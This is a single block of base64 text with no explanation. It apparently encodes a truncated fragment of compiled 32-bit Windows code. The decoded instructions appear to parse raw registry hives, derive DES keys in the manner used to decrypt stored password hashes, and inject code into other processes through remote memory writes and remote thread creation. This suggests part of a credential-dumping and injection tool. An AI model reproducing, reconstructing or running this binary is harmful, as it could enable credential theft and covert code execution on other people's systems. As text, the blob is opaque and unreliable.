oBjXMcM//oEsz//2oBi/PoCcz//19ew1WL7FFRi0UMi00Ig8AMU4lF+ItBBFeLeASAf0UAi9jGRfwBdSmLTfiNRwyL3+hB7f//hcAPmEX8gH38AHQEiz/rA4t/CIB/RQB02otNCIB9/ACL+3Rdi0EEOxh1GmoBi30MjUUMUIvD6HwAAACLAIkGxkYEAetqgHtFAHQFi3sI6zGLA4B4RQB1DYv4i0cIgHhFAHT16xyLQwTrCTs4dQuL+ItABIB4RQB08YB/RQB1Aov4i0X4jU8M6LXs//+FwHkI/3X8i00I65WLXfjoFP////91DOj67wEAWYk+xkYEAF+LxlvJwggAVYvsU4vZi0sIVoH5I0mSBHIajV8M6OP+//9X6MvvAQDHBCRgFwQQ6JXNAQBBiUsIiUcEi0sEO8F1EIl5BItDBIk4i0MEiXgI6yGAfQwAdA2JOItLBDsBdRKJOesOiXgIi0sEO0EIdQOJeQiLRwSL9+mRAAAAi0YEi0gEOwF1N4tJCIB5RAB0NjtwCHUKi/BTi87o4Pv//4tGBMZARAGLRgSLQATGQEQAi0YEi0gEU+gG/P//602LCYB5RAB1GsZARAHGQUQBi0YEi0AExkBEAItGBItwBOsrOzB1CovwU4vO6NT7//+LRgTGQEQBi0YEi0AExkBEAItGBItIBFPodPv//4tGBIB4RAAPhGX///+LQwSLQATGQEQBi0UIXok4W13CCABqCLgAywMQ6KAkAgCL2Yvy6MX6//+L+Il97ItGBIkHi0YEiUcEi0YEiUcIM8BmiUdEiUX8jXcMO/B0Ev8z6IW/////cwSDxhzoer///4NN/P+Lx+jAJAIAw/917Ohl7gEAWTPAUFDo3h8CAMxVi+yD7DCh0AYFEDPFiUX8i0UIU1Yz9laJRdBWjUXYUDLbiXXc/xWYMAUQhcAPhYUAAAAPtl0M99sb24PjIFONRdxQjUXUUFb/ddj/FaAwBRA7xnVEV4tF1P8wjXXg6Pi+//+LfdCLxuj19///agEz/+gWyf///3XU/xV4MAUQU41F3FCNRdRQV/912P8VoDAFEIXAdMAz9l89KgAJgA+Uwzl13HQJ/3Xc/xV4MAUQ/3XY/xWMMAUQi038XorDM81b6BvnAQDJw1WL7FFRg2X8AINl+ABqAI1F/FBqBI1F+FCLRQho6CEEEP8w/xWIMAUQhcB1FIN9/AR1DopN+ItVDLABIsiICsnDMsDJw1WL7FFTVzPbU1ZTU1O/ZEMEEFdT/3UI/xV8MAUQiUX8O8N1Lv826JTMAQBZi00MU1aJAf82UFNXU/91CP8VfDAFEIlF/DvDdAn/dQzo8ewBAFn/dfz/FYjhAxAzwDld/F8PlMBbycNVi+yD7Eih0AYFEDPFiUX4i0UIU1Yz24N4FAhXi/GIXctyAosAUI1FuFD/FagwBRBqAY1FuFCNRcBQ/xW0MAUQhcB4S41F6FD/dcT/FawwBRCFwA+ZRcs4Xct0KVONRehQjUXMUGoQWOgOWQAAi9iDxAyLxujc0v//agEz/411zOiTx///jUXAUP8VsDAFEItN+IpFy19eM81b6M7lAQDJw1WL7IPsFKHQBgUQM8WJRfxWV41F7GoQx0XsCwYHAcdF8AgKDgDHRfQDBQIPx0X4DQkMBCvBXg+2FAiLfQiKFDqIEUFOdfCLTfxfM81e6HrlAQDJw1WL7IHsiAAAAKHQBgUQM8WJRfxTVldqC1mLRQi+nCIEEI19kPOlZqVqClmkvswiBBCNfcDzpYmFfP///4tFDGgAAADwM9tqAYmFeP///4tFEFOJRYRTjUWIUKSJXYiJXYz/FQjgAxCFwA+EqwAAADPAiF3sjX3tq6urZqtqEKpfjUWMUFNTaAOAAAD/dYiJfYD/FSzgAxCLRYSLNTTgAxBTV4PAcFD/dYz/1lNqL41FkFD/dYz/1lNX/7V4/////3WM/9ZTaimNRcBQ/3WM/9ZTjUWAUI1F7FBqAv91jP8VKOADEP91jP8VMOADEFP/dYj/FQzgAxCLjXz///9XaAFoAACNRexQi0WEV4PogIvf6JO2//+DxBCK2ItN/F9eisMzzVvoT+QBAMnDVYvsgeygAAAAodAGBRAzxYlF+ItFCImFaP///4tFDFNWV4mFfP///4tFEIlFiDPAiUWQvvgiBBCNfdylpWalpL4EIwQQjX3QpaVmpYvZg3sEFIhFl6QPhR4DAABoAAAA8GoBUFCJhXj///+JRZCNhXj///9Q/xUI4AMQhcAPhPcCAAAzwMZFpACNfaWrq6tmq2oQql+NRZBQM/ZWVmgDgAAA/7V4////ib1k/////xUs4AMQVos1NOADEFf/tXz/////dZD/1moAagSNRRRQ/3WQ/9aAfRgAjUXcdQONRdBqAGoLUP91kP/WagCNhWT///9QjUWkUGoC/3WQ/xUo4AMQ/3WQ/xUw4AMQagD/tXj/////FQzgAxCLTYhXaAFoAACNRaRQiwONhAjQAAAAV41N6Ivf6EO1//+DxBCEwA+ENQIAAItdFIldjMFtjAiKRYyIRYWIRYGLw8HoEIhFhohFgolFiIvDwegYiEWDiYV8////jUXAjXWAiF2EiF2A6FACAACKhXz///+IRYSIRYCKRYyIRYaIRYKKRYiIRYONRciNdYCIXYWIXYHoJAIAAGoIXmgAAADwM9tqAVNTjUWIUIhdl4ldiIldjIm1fP////8VCOADEIXAD4SXAQAAahTHhWz///8IAgAAx4Vw////AWYAAIm1dP///+g3yAEAi/iNtWz///+lWaWljU2MUWoBjXgMU411wKVqFFCl/3WIiUWA/xUQ4AMQhcB0PY2FfP///1CNRehQU2oBU/91jP8VGOADEIXAdQ3/FXjhAxA9BQAJgHULg718////CA+URZf/dYz/FRTgAxD/dYDoR+gBAFlT/3WI/xUM4AMQOF2XD4TvAAAAagheaAAAAPBqAVNTjUWMUIhdl4ldjIldiIm1fP////8VCOADEIXAD4TCAAAAahTHhWz///8IAgAAx4Vw////AWYAAIm1dP///+hixwEAi/iNtWz///+lpaWNeAxZjXXIpaWNTYhRM/ZGVlNqFFD/dYyJRYD/FRDgAxCFwHQ8jYV8////UI1F8FBTVlP/dYj/FRjgAxCFwHUN/xV44QMQPQUACYB1C4O9fP///wgPlEWX/3WI/xUU4AMQ/3WA6HHnAQBZU/91jP8VDOADEDhdl3QdU41F6FCNRZhQahBYxkWXAYl1kOjpUwAAg8QM6xeIXZdoECMEEI11tMdFkAIAAADoObj//4vYi4Vo////6JrN///2RZACdBCDZZD9agEz/411tOhHwv//9kWQAXQMagEz/411mOg1wv//i034ikWXX14zzVvoeuABAMnDig6K0dDqiBCKVgFTgOEBitrA6wLA4QYKy4hIAYpOAorZgOIDwOsDwOIFCtOIUAKKVgOA4QeK2sDrBMDhBArLiEgDik4EitmA4g/A6wXA4gMK04hQBIpWBYDhH4rawOsGwOECCsuISAWKTgaK2YDiP8DrBwLSCtOA4X+ISAeIUAYzyVvQJAFBg/kIcvfDVYvsUVFoFCMEEP91CI1F+FDGRf8A6EjoAQCDxAyFwHVcagJQ/3X46LjuAQCDxAyFwHVBV/91+Oi57QEAi/hX6JLFAQBqAGoA/3X4iQboku4BAP91+GoBV/826OXrAQCDxCRfg/gBdQyLBoE4cmVnZg+URf//dfjoUe8BAFmKRf/Jw1WL7FFTalDGRf8A6HvmAQCL2FmF23QPalBqAFPoozUCAIPEDOsCM9uLRQhWizBXahSBxiQQAABZi/vzpYsABXAQAAC5bmsAAF+JQ0xeZjkLdRlmg3sCLHUSD79LSFGLTQxQ6ObJ///GRf8BU+hx5QEAikX/WVvJw1WL7IPsHFNWV2pQxkX/AOj/5QEAi9hZhdt0EmpQagBT6Cc1AgCDxAyJXfjrB4Nl+ACLXfiLRQiLMGoUgcYkEAAAWYv786WLAAVwEAAAiUNMuG5rAABmOQMPhc8BAABmg3sCLA+FxAEAAItFDIN4FBByAosAUOj8WQMAxwQkHCMEEFCJReTouecBAIt7TFlZD79LSIvwM8Dzpg+FhQEAAGgcIwQQUOiZ5wEAWVmJRfCFwA+EygAAAOsDi134i3Mcagjo6eYBAIv4alCJfejo3eYBAGoIiUXs6NPmAQCLTQiDZfQAi9iLAYuUMAQQAACJE4uEMAgQAACJQwSLAY2EMAgQAACJQwQzwIPEDGY7QwIPjIcAAAD/dezoMOMBAFPoKuMBAIPL/1lZg/v/dD6LRQiLAI20GAQQAACLRfhqFFmL+POli00IiwmNjBlQEAAAaBwjBBBqAIlITOjl5gEAWVmJRfCFwA+FTv///4N98AAPhawAAACD+wEPhKMAAACLXfiLRRCLOGoUWYvz86XGRf8B6Y4AAACLfeiLTQiLQwSLVfSNBNCLEIkXi0AEiUcEiwmLfeyLwotV7I20AQQQAABqFFnzpYtNCIsJi3XwjYQBUBAAAA+/SkiJQkyL+DPA86Z1F4t18I1OAYoGRoTAdfkPv0JIK/E78HQRD79DAv9F9DlF9HyQ6Qr///9S6DziAQBT6DbiAQCLReiLGOkF////i134/3Xk6CHiAQBZU+g34wEAikX/WV9eW8nDVYvsg+wMU1ZXahjGRf8A6MPjAQCL2FmF23QLagZZM8CL+/Or6wIz24tFEItAJDPJagRa9+IPkMH32QvIUehewgEAi3UQi04ki1UIixLB4QJRi04ojYwRBBAAAFFQiUX46OsQAgAz0oPEEDlWJA+GngAAAItF+IsEkItNCIsJjbQBBBAAAGoGWYv786WLTQiLCY2EARgQAACLTQyJQxSDeRQQi3kQiX30cgSLMesCi/GLz4v4M8DzpnUJD79DAjtF9HQLi0UQQjtQJHKn60OLQwSLdRgl//8AAFCJBui/wQEAWYtNFIkBiw5Rg/kFfQWNSwjrD4tVCItLCIsSjYwRBBAAAFFQ6EYQAgCDxAzGRf8B/3X46AriAQBT6A/iAQCKRf9ZWV9eW8nDVYvsUVNWalAz2+if4gEAi/BZO/N0EWpQU1boyDECAIPEDIl1/OsDiV38jUX8UP91DP91COhi/P//g8QMhMB0Gf91GP91FP91/P91EP91COiD/v//g8QUitj/dfzopOEBAFleisNbycNVi+yD7DSh0AYFEDPFiUX8g2XcAFZXi/FqCIl10Ogk4gEAWYvIhcl0CzPAi/mrq4lN2OsEg2XYAGpQ6AfiAQCL+FmF/3QSalBqAFfoLzECAIPEDIl9zOsEg2XMAGoI6OPhAQCL0FmF0nQLM8CL+quriVXU6weDZdQAi1XUi0UIg3gUAA+O6AAAAOsDi1XUiwuLRQiLQByLvAEEEAAAi3XYiT6LjAEIEAAAiU4EiwuNhAEIEAAAi03ciUYEjQTIiwiDZfAAiQqLQASJQgSLVcyLwYsLjbQBBBAAAGoUWYv686WLC42EAVAQAAAPv0pIUVCNTeCJQkzHRfQPAAAAxkXgAOgCxf//i33Qi08EjUXgO8FzI4sXO9B3HSvCahyZXvf+i/A7Twh1B4vP6KcAAABr9hwDN+sPO08IdQeLz+iUAAAAjXXgi0cE6J4BAACDRwQcagBqAY1N4Oieuf///0Xci0UIi03cO0gUD4wc////i/f/ddjoJOABAIsGWTPJO0YEXw+VwItN/DPNXuiU2QEAycM7/nQ9agBqAYvP6Fq5//+DfhQQcxGLRhBAUFZX6GzbAQCDxAzrB4sGiQeDJgCLRhCJRxCLRhSJRxSDZhAAg2YUAIvHw4tBBFaLMVcrxmocmV/3/4v4gf9IkiQJdgpoKBcEEOh6vQEAi0EIK8ZqHJle9/5HO/h2IYvQ0eq+SZIkCSvyO/BzBDPA6wIDwjvHcwKLx1DoAwAAAF9ew2oMuOXKAxDoShUCAIvxi00IgflJkiQJdgpoKBcEEOgjvQEAi0YIKwaZahxf9/87wXNx6G9uAACJReiDZfwAi0YEiw7/dQj/dehQUeiKAAAAg8QQg038/4teBIsOi8MrwZn3/4v4hcl0IolN7DvLdBNqAP917Oi8AAAAg0XsHDld7HXt/zbo5t4BAFmLRQhrwByLTegDwYlGCGv/HAP5iX4EiQ7oGhUCAMIEAP916Oi93gEAWWoAagDoNhACAMxXi/iF/3QTg2cQAMdHFA8AAADGBwDojf7//1/Dagi4ysoDEOhwFAIAi3UIi0UQiUXsg2X8ADt1DHQUi0UQ6L7///+DRRAcg8YciXUI6+eDTfz/i0UQ6KoUAgDDi3Xs6wlW6BIAAACDxhxqADt1EHXwagDovg8CAMxVi+yLTQhqAGoB6Im3///2RQwBdAn/dQjoHd4BAFmLRQhdwggAVYvsg+wwodAGBRAzxYlF/FZXaBAjBBCNdeCL+cZF3wDo8a7//4vWi8/otUQAAITAD4QIAQAAjXXejUXgxkXeAOiPRQAAhMAPhPEAAACAfd4AD4TnAAAAi33wakBoABAAAI18PwJXM/ZW/zP/FaThAxCJRdQ7xg+EwgAAAIN99AiLReBzA41F4P8zUP911OhKAQAAg8QMhMAPhI8AAACLPZDhAxBoICMEEGgwIwQQ/9dQ/xWM4QMQg03Y/4M9vC4FEAWJRdB2MGhEIwQQaGQiBBD/11D/FYzhAxBWjU3YUf911P910FZWVlZW/zP/0FD/FYjhAxDrE1ZW/3XUUFZW/zP/FZjhAxCJRdg5ddh0HoN92P90GGr//3XY/xWU4QMQ/3XYxkXfAf8VfOEDEGgAgAAAVv911P8z/xWg4QMQagEz/4114Oj9t///i038ikXfXzPNXuhD1gEAycNVi+xRU/8wM9tTaDoEAAD/FZzhAxCJRfw7w3QWi00IjV386H7+////dfyK2P8VfOEDEIrDW8nDVYvsUYN9EP91F1b/dQhW/3UM6EnmAQCDxBD32BvAQMnDg2X8AI1F/FBW/3UM/3UI/3UQ/xU84QMQhcB0Cjl1/HUFM8BAycMzwMnDVYvsg+wMU1aNRfxQakAy24N9EP9X/3UIdTOLNbDhAxD/1oXAdGpX/3UMV/91COji5QEAg8QQi9iNRfRQ/3X899tX/3UIGtv+w//W60P/dRCLNazhAxD/1oXAdDSNRfhQV/91DDPb/3UIiV34/3UQ/xW04QMQhcB0Bzl9+HUCswGNRfRQ/3X8V/91CP91EP/WXorDW8nDVYvsUf91FOgIuwEAWYlF/ItFCFaJA7ABxkULAFeDfQwAdB2AfRgAiwt0CANNFDlNDOsGK00UO00MG8lBhcl0RoTAdEKAfQsAdTz/dRyLdRT/dfz/M+jF/v//g8QMhMB0vIt9EIvOi3X8M9Lzpg+URQs4VQt1pzPJOE0YD5XBjUwJ/wEL65f/dfzoCdsBAIpFC1lfXoTAdQODIwDJw1WL7FGDZfwAU/91EI2G/wAAAGoBagH/dQiNXfxQVuhA////i038i1UMg8QYK86JClvJw1WL7IPsEMZF/wCF9g+EnAAAAIN9DAAPhJIAAACDfRAAD4SIAAAAV/91CP8VkOEDEIv4hf90d2oMjUXwUFf/FajhAxBQ/xXc4gMQhcB0X4N9GACLRfBTi9h0Cv91GFf/FYzhAxCFwHREgH0cAHQHi030A8vrA4tN8Gr//3Uci97/dRD/dQxRUOik/v//g8QYiEX/hMB0E4tFFAEGgH0gAIsGdQmLAIkG6wODJgBbX4pF/8nDahy4YM4DEOj5DwIAi30Ig2XgAI1d2Oi1tv//M9s4Xdx0Z4sHi0AEi0Q4MIsAiUXoi8jopZn//41F6FDoAtX//1mL8I1N6OgVmv//iV38iw+LQQQDx4tJBItUOTiIXeQPt0w5QIse/3UMUVBS/3XkjUXkUIvO/1McgH3kAHQHx0XgBAAAAINN/P9qAP914IsHi0gEA8/o+Kf//4112Ohytv//i8foyA8CAMIIAItNCIsBi0AEA8GLSAyDyQQz0jlQOHUDg8kEg+EXiUgMhUgQdQ+DTfz/uIp4ABDDi30I66lSUui7CgIAzFWL7ItNEIXJdBuLRQwPt9CLwsHiEFeLfQgLwtHp86sTyWbzq1+LRQhdw1WL7IHsKAEAAKHQBgUQM8WJRfiLRQhTVovZM/ZXM8lQjb3c/v//iV2EiTOJcwSJcwjHRfAHAAAAiXXsZolN3OgAAgAA6eQAAACDffAIi03ci8FzA41F3GaDOCIPhcIAAACDffAIcwONTdyLRexmg3xB/iJ1J4PA/lBqAY1F3FCNdYjolAEAAIv76IKq//9qATP/6Kiz///pgwAAAGoHM8BfZolFpGoijUWkUI2F3P7//1CJfbiJdbTozgUAAIPEDDPAav9miUXAagGNRdyNTcCJfdSJddDoT7L//1aNRaRQg8j/jXXA6IwDAACL2I11iOhtvv//i32Ei8boEar//2oBM//oN7P//2oBjXXA6C2z//9qAY11pOgjs///i12EM/brCo1F3Iv76Ojh//+NRdxQjYXc/v//UOjXAwAAWVmLCItJBAPIi0EMJAYPvsD32BvA99CFwQ+F7f7//42F3P7//+jv4P//agEz/4113OjMsv//i034X16LwzPNW+gS0QEAycNVi+xRiQaLCItJBItEATiFwHQHixCLyP9SBP91CP826BUBAACIRgSLxlldwgQAi0EggzgAdAeLUTCLEusCM9KF0n4GiwAPtwDDiwH/UBgPt8DDi04gM8A5AXQFi0YwiwCD+AF+E4tGMP8Ii04giwGDwAKJAQ+3AMOLzujhAQAAuf//AABmO8h1A4vBw4vO6Jv///8Pt8DDVYvs/3UQg2YQAP91DDPAx0YUBwAAAGaJBotFCIvO6Oyw//+Lxl3CDABVi+xRg2X8AFNWjV8YxwcEIQQQx0cQqIYEEFOL98dHYNzlAxDoNuL//4sHi0AEi8vHBAcAIQQQ6Ie8//+LRQjHA4QXBBCDeBQIi3AQcgKLAINjPABqA4lFCOilv///iUNAhfZ0DP91CIvGi/PoAr///16Lx1vJwgQAagS4r8oDEOgqDAIAi30IiweLSAQDz4tBDIXAD4XlAAAAi0k8hcl0B4vx6F+k//+AfQwAdXWLB4tABItMOBT2wQF0Z4tEODCLAIlFDIvI6LqV//+NRQxQ6OfO//9Zi9iNTQzoKpb//4Nl/ACLB4tABItMODjofP7//w+3wLn//wAAZjvIdRJqAGoBiweLSAQDz+gtpP//6w6LE1BqSIvL/1IIhMB1FYNN/P+LB4tIBAPPg3kMAHVPsAHrZIsHi0AEi3Q4OOhQ/v//666LTQiLAYtABAPBi0gMg8kEM9I5UDh1A4PJBIPhF4lIDIVIEHUPg038/7h4fAAQw4t9COurUlLozQYCAItBDIPIAoN5OAB1A4PIBGoAUOiGmf//MsDofgsCAMIIAItBIIM4AHQHi0EwiwDrAjPAhcB+E4tBMP8Ii0kgiwGNUAKJEQ+3AMOLAf9QHA+3wMOLBoXAdBD/dgToC8r///826OPUAQBZgyYAg2YEAINmCADDVYvsUYsHVot3BDvGdC9TiUX8i9479nQTi0X86CW7//+DRfwcg8McO9517f93BItF/OjByf//i0X8iUcEW17Jw1WL7FeL+ItFCItAEDtFDHMKaBAXBBDonrIBACtFDDvHcwKL+ItGEIPJ/yvIO893CmhEFwQQ6DKyAQCF/3RYU40cOGoAi8boc7v//4TAdEaLTQiDeRQIcgKLCYN+FAhyBIsG6wKLxo0UP1KLVQyNDFFRi04QjQRIUOg7AgIAg8QMg34UCIleEHIEiwbrAovGM8lmiQxYW4vGX13CCABqNLhFzgMQ6NMJAgCLfQgz24ld6Ihd71OLx411zOhO/P//OF3QD4SUAAAAiweLQASLRDgwiwCJRdyLyOh2k///jUXcUOijzP//WYlF1I1N3Ojlk///g8j/M8mLdQzoTrr//4ld/IsHi0AEi1Q4IItMOCQ7y3wefwQ703YYiVXYiU3cgfr+//9/cwqJVcCJTcSLyusFuf7//3+JTeSLTDg46Pn7//8Pt/A5XeR2Drj//wAAZjvGdU2DTegBg038/4sHi0AEiVw4IIlcOCQ4Xe91BINN6AJT/3XoiweLSAQDz+iHof//i0XMiwiLSQSLRAE4O8N0B4sQi8j/UgiLx+hICQIAw4tN1IsBVmpI/1AIhMB1qFaLdQzofQEAAMZF7wH/TeSLB4tABIt0ODjokfv//+lv////i00IiwGLQAQDwYtIDIPJBDPbOVg4dQODyQSD4ReJSAyFSBB1FINN/P+4On8AEMMz24t9COlQ////U1PoBgQCAMxqGLgqzgMQ6FwIAgCLfQiDZeQAxkXrAGoBi8eNddzo1vr//4B94AB0aYNl/ACDyP8zyYt1DOj/uP//D7ddEIsHi0AEi0w4OOjb+v//D7fAuf//AABmO8h1BoNN5AHrKWY7w3UUxkXrAYsHi0AEi0w4OOjj/P//6xCLdQyBfhD+//9/ckKDTeQCg038/4B96wB1BINN5AJqAP915IsHi0gEA8/oTqD//4tF3IsIi0kEi0QBOIXAdAeLEIvI/1IIi8foDwgCAMNQ6FYAAADGResBiweLQASLdDg46G36///paf///4tNCIsBi0AEA8GLSAyDyQQz0jlQOHUDg8kEg+EXiUgMhUgQdRKDTfz/uF6AABDDi30I6XL///9SUujkAgIAzFWL7ItGEIPJ/yvIg/kBdwpoRBcEEOgcrwEAU41YAWoAi8boYbj//4TAdCyDfhQIi04QcgSLBusCi8Zmi1UIZokUSIN+FAiJXhByBIsG6wKLxjPJZokMWIvGW13CBABVi+yD5PiB7IQAAACh0AYFEDPEiYQkgAAAAFNWV2oHWIlEJCSJRCRAM8BmiUQkLI1FCFCL+Y1EJBQz2zPJUIlcJChmiUwkGIlcJETo+y8AAFlZhMAPhMkAAACDfCRMAXRmg3wkTAN0X41EJCxQUWiQKgQQ/zWIGgUQ6AbK//+DxAxQ6CwHAABZWYvwVuhsBgAA6Kqe////dUyNRST/dUhX/3VE/3VAg+wci/RQ6Afa////tCSUAAAA6A0BAACDxDSK2OnAAAAAaKgqBBBRjUQkNFBRaOQqBBBRjUUIUFFo7CoEEP81iBoFEOiWyf//g8QMUOi8BgAAg8QMUOiEyf//g8QMUOiqBgAAg8QMUOhyyf//WVmL8Fbo4QUAAOgfnv//62RTjUQkdGoBUOhGNAAAg8QMUFFoCCsEEFGNRQhQUWgQKwQQ/zWIGgUQ6DTJ//+DxAxQ6FoGAACDxAxQ6CLJ//+DxAxQ6EgGAABZWYvwVuiIBQAA6Mad//9qATP/jXQkdOitqv//agEz/410JDDooKr//2oBjXQkFOiVqv//agGNdQjoi6r//2oBjXUk6IGq//+LjCSMAAAAX16Kw1szzOjDyAEAi+Vdw1WL7IHsmAAAAKHQBgUQM8WJRfiLRQiJhXz///+LRTBTiYVw////i0U4VomFbP///1dqB1iJRbiJRdQzwDPJM/Y5dRxmiUXAD5TAD7bAZolNpPfYjY18////URvA99CNTQwjwY1NhFHGRYMAiXW0iXXQ6IEQAABZWYTAD4SyAQAA/7V8////i12Yi32cVmo4/xWc4QMQiYV4////O8YPhHcBAABo8BYEEFH/tXz///+NRQxRaFgrBBBRUFFoZCsEEP81iBoFEOjvx///g8QMUOgVBQAAg8QMUOjdx///g8QMUOg2kwEAWVDozcf//1lZi/BW6DwEAADoepz///+1eP///4OldP///wBqAf91LAP7/3UoV1ONnXT////odvL//4PEGITAD4SbAAAA/7V4////i41s////A410/////7Vw////i300Uei08f//g8QMiEWDhMC4pCsEEHUFuKwrBBBQUWi0KwQQUf+1fP///41FDFFoWCsEEFFQUWjAKwQQ/zWIGgUQ6DDH//+DxAxQ6FYEAACDxAxQ6B7H//+DxAxQ6HeSAQBZUOgOx///g8QMUOgFx///WVmL8FbodAMAAOiym///60ZqAI1F3GoBUOjZMQAAg8QMUFFo0CsEEP81iBoFEOjSxv//g8QMUOj4AwAAWVmL8FboOAMAAOh2m///agEz/4113OheqP///7V4/////xV84QMQ611WjUXcagFQ6IYxAACDxAxQUWgELAQQ6xZWjUXcagFQ6G4xAACDxAxQUWgoLAQQ/zWIGgUQ6GfG//+DxAxQ6I0DAABZWYvwVujNAgAA6Aub//9qATP/jXXc6POn//+NXYToHgAAAGoBM/+NdQzo36f//4tN+IpFg19eM81b6CTGAQDJw1ZXagGNczwz/+i/p///agGNcyDotaf//19ew1WL7IHsVAEAAKHQBgUQM8WJRfxTVleNvbj+//+L8TLb6KwyAACEwHRli4XE/v//gH3SAYu9vP7//4udwP7//4mFsP7//41F2FAPlYW3/v///xW44QMQZoN92AkPlME5PnUoOV4EdSOLRgg7hbD+//90BIXAdRSKhbf+//84Rgx1CThODXUEswHrSjLb60ZqAI1F4GoBUOhZMAAAg8QMUFFoeCwEEP81iBoFEOhSxf//g8QMUOh4AgAAWVmL8FbouAEAAOj2mf//agEz/4114Ojepv//i038X16KwzPNW+gkxQEAycNVi+yD7BCD+AwPh/8AAAD/JIVLhwAQx0XwBQAAADPAiUX0iUX4ZolF/OngAAAAx0XwBQAAADPAiUX0iUX4ZsdF/AEA6cYAAAAzwMdF8AUAAACJRfhmiUX86aoAAADHRfAFAAAAx0X0AgAAADPAiUX4ZsdF/AAB6ZMAAADHRfAFAAAAx0X0AgAAADPA662DZfgAx0XwBQAAAMdF9AIAAABmx0X8AQHrZ8dF8AYAAADpav///zPAx0XwBgAAAIlF9Ousx0XwBgAAAOlo////M8DHRfAGAAAAiUX0iUX468EzwIlF+GaJRfzrFzPAiUX4ZsdF/AAB6wqDZfgAZsdF/AEBx0XwBgAAAMdF9AEAAACNTfDoBf7//8nDSYYAEGGGABB7hgAQkIYAEK6GABDAhgAQ2oYAEOaGABD0hgAQAIcAEBGHABAchwAQKYcAEFFTVos3Mts7dwR0GYTbdTSLBuid/v//g8YEitg7dwR164TbdR9ouCwEEP81iBoFEOicw///WVmL8FboCwAAAOhJmP//XorDW1nDahC4D84DEOjf/wEAi30Ig2XsAI1d5Oibpv//gH3oAHUJx0XsBAAAAOthg2X8AIsHi0AEi0w4OGoKWuiso///D7fAuf//AABmO8h1B8dF7AQAAACDTfz/6zKLTQiLAYtABAPBi0gMg8kEM9I5UDh1A4PJBIPhF4lIDIVIEHUwg038/7hRiAAQw4t9CGoA/3XsiweLSAQDz+jcl///jXXk6Fam//+Lx+is/wEAwgQAUlLo0/oBAMxqFLj0zQMQ6Cn/AQCLfQiDZewAi0UMi3AQiweLQASLTDggi0Q4JIXAfBd/BIXJdBGJReQ7znYKiUXkK86JTejrBINl6ACNXeDos6X//zPbOF3kdQzHRewEAAAA6ewAAACJXfyLB4tABItEOBQlwAEAAIP4QHQuOV3odiSLB4tABA+3VDhAi0w4OOinov//D7fAuf//AABmO8h1SYNN7AQ5Xex1RYtFDIN4FAhyAosAiw+LSQSLTDk4ixFTVlD/UiQ7xnUEO9N0IcdF7AQAAACLB4tABAPHg2AgAINgJACDTfz/62j/TejrjYN96AB24IsHi0AED7dUOECLTDg46DOi//8Pt8C5//8AAGY7yHUGg03sBOu6/03o68+LTQiLAYtABAPBi0gMg8kEM9I5UDh1A4PJBIPhF4lIDIVIEHUug038/7jIiQAQw4t9CGoA/3XsiweLSAQDz+hllv//jXXg6N+k//+Lx+g1/gEAw1JS6F75AQDMVYvsg0sE/1ZXjXMIaGQtBBDHA4AtBBDov5j//2oAjUUkUIPI/+ga8///aGwtBBBW6EwCAABqAI1FCFCDyP/oAfP//2oBM/+NdQjovaL//2oBjXUk6LOi//9fi8NeXcI4AFWL7FaL8egUAAAA9kUIAXQHVuhixwEAWYvGXl3CBABWi/FXxwaALQQQ6A8AAABqAYPGCDP/6HGi//9fXsOLTgQywIP5/3Qkhcl0IFH/FXThAxD/dgT/FcjhAxD/dgT/FXzhAxBI99gawP7Aw1WL7IHsDAEAAKHQBgUQM8WJRfyDZhAAg34UCFOLHSQwBRBXcgSLBusCi8YzyWaJCGoAjYX0/v//UGgAAQAAjYX8/v//UP9zBP8VxOEDEIXAD5WF+v7//4C9+v7//wB1Df8VeOEDED3qAAAAdSiLvfT+//+Nhfz+//9Q0e+LxsaF+/7//wHokgAAAIC9+v7//wB0nesHxoX7/v//AItN/IqF+/7//18zzVvo5r8BAMnDU1aLNSQwBRCLRgQz2zvDdAWD+P91UY1GCIN4FAhyAosAU2gwdQAAU1NqAWoGagNQ/xXA4QMQiUYEO8N0JYP4/3QgU1D/FbzhAxCFwHQEswHrFf8VeOEDED0XAgAAD5TD6wXouv7//16Kw1vDVYvsU4tdCFZTi/Doda3//4TAdBuDfhQIcgSLBusCi8Yr2NH7U1aLx+gu8f//62OLRhCDyf8ryDvPdwpoRBcEEOiCowEAhf90R40cOGoAi8boxKz//4TAdDeDfhQIcgSLBusCi8aNDD9Ri04Q/3UIjQRIUOib8wEAg8QMg34UCIleEHIEiwbrAovGM8lmiQxYi8ZeW13CBABVi+yLRQyNSAJmixCDwAJmhdJ19SvBV/91DNH4i/iLRQjoQv///19dwggAVYvsUVFTVos1OOADEDPbjUX4UFP/dQiIXf9TiV34/9aFwHVN/xV44QMQg/h6dUKLRfhXM8lqAlr34g+QwffZC8hR6FmkAQBZi/iNRfhQV/91CFP/1oXAD5VF/zhd/3QJV/91DOjolf//V+i0xAEAWV+KRf9eW8nDVYvsg+xIodAGBRAzxYlF+ItFCINNyP9TVleJRbzGRdcA/xWo4QMQjU3IUWoIUP8VPOADEIXAD4T1AAAAizVA4AMQjUXQUDPbU1NqA/91yIld0P/WhcAPhdUAAAD/FXjhAxCD+HoPhcYAAAD/ddDotaMBAFmL+I1F0FD/ddCJfcBXagP/dcj/1oXAD5VF1zhd1w+EkwAAAIldxDkfD4aIAAAAjUcMiUXM6wIz22oc6KzEAQBZO8N0EYlYEDPJx0AUBwAAAGaJCIvYi0XMg8D4U1Dosv7//1lZhMB0J1ONddjoh83//4tFzIsAi328iUX0i8boLwEAAGoBM//o6J7//4t9wIXbdBVqATP/i/Po1p7//1PonsMBAIt9wFn/RcSLRcSDRcwMOwdygFfoe8MBAFmLTfiKRddfXjPNW+j8vAEAycNVi+yD7AyLRgQrBlfB+AVrwAyDwARQxkX/AOjGogEAg2X4AFmLTgQrDolF9MH5BYkIiz47fgQPhJgAAABTjVgMi0X4i030OwFzOIN/FAhyBIsH6wKLx41L+FFQagD/FUTgAxCFwA+VRf+Aff8AdGSLRxyJA4PHIP9F+IPDDDt+BHW+gH3/AHRLg034//8VqOEDEI1N+FFqIFD/FTzgAxCFwA+VRf+Aff8AdCgzwFBQUP919FD/dfj/FUjgAxCFwHQO/xV44QMQxkX/AYXAdATGRf8AW/919OiXwgEAikX/WV/Jw1OL2ItHBFY72HMiiw87y3ccK9nB+wWL8ztHCHUHi8/oLgAAAMHmBQM3i97rDDtHCHUHi8/oGQAAAIt3BIX2dAvooKj//4tDHIlGHINHBCBeW8OLUQRWizEr1sH6BYH6/v//B3YKaCgXBBDo958BAItBCCvGQsH4BTvQdiNXi/DR7r////8HK/47+F9zBDPA6wIDxjvCcwKLwlDoAgAAAF7DahS42c0DEOjJ9wEAi9mLdQiB/v///wd2CmgoFwQQ6KKfAQCLQwgrA8H4BTvGc3+Lz